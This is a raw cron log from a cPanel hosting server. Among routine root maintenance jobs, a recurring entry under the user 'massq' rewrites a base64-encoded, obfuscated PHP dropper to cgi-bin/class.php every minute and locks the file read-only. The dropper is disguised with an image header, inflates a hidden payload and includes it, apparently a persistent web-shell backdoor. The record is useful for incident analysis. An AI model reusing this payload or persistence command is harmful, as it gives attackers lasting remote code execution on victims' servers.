Sep  6 18:46:01 server CROND[14803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:47:01 server CROND[15264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:47:01 server CROND[15263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:47:01 server CROND[15265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:48:01 server CROND[15646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:48:01 server CROND[15647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:48:01 server CROND[15648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:49:01 server CROND[16021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:49:01 server CROND[16022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:49:01 server CROND[16023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:50:01 server CROND[16424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:50:01 server CROND[16425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:50:01 server CROND[16427]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:50:01 server CROND[16434]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:50:01 server CROND[16433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:50:01 server CROND[16431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:50:01 server CROND[16432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:50:01 server CROND[16429]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:50:01 server CROND[16435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:51:01 server CROND[17303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:51:01 server CROND[17304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:51:01 server CROND[17305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:52:01 server CROND[17774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:52:01 server CROND[17775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:52:01 server CROND[17776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:53:01 server CROND[18145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:53:01 server CROND[18146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:53:01 server CROND[18147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:54:01 server CROND[18512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:54:01 server CROND[18513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:54:01 server CROND[18514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:55:01 server CROND[18892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:55:01 server CROND[18893]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:55:01 server CROND[18894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:55:01 server CROND[18895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:55:01 server CROND[18896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:55:01 server CROND[18898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:55:01 server CROND[18897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:56:01 server CROND[19709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:56:01 server CROND[19710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:56:01 server CROND[19711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:57:01 server CROND[20081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:57:01 server CROND[20083]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:57:01 server CROND[20084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:57:01 server CROND[20082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:58:01 server CROND[20497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:58:01 server CROND[20496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:58:01 server CROND[20499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
